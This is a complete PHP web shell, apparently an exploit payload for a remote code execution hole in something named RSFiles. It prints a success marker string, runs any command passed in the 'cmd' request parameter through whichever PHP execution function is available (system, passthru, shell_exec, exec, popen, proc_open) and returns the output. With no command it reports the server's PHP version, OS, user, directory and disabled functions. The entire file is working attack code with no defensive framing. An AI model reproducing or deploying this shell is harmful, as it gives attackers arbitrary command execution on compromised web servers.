<?php error_reporting(0);@set_time_limit(0);echo 'RSFILES_RCE_OK_X9Z';if(isset($_REQUEST['cmd'])){$c=$_REQUEST['cmd'];$o='';if(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}elseif(function_exists('shell_exec')){$o=(string)@shell_exec($c);}elseif(function_exists('exec')){$r=[];@exec($c,$r);$o=implode("\n",$r);}elseif(function_exists('popen')){$h=@popen($c,'r');if($h){$o='';while(!feof($h))$o.=fread($h,4096);pclose($h);}}elseif(function_exists('proc_open')){$d=[0=>['pipe','r'],1=>['pipe','w'],2=>['pipe','w']];$h=@proc_open($c,$d,$pp);if($h){$o=stream_get_contents($pp[1]);fclose($pp[1]);proc_close($h);}}echo 'RSFILES_OUT_START'.$o.'RSFILES_OUT_END';}else{echo '<I>'.phpversion().'|'.PHP_OS.'|'.get_current_user().'|'.getcwd().'|'.ini_get('disable_functions').'</I>';}?>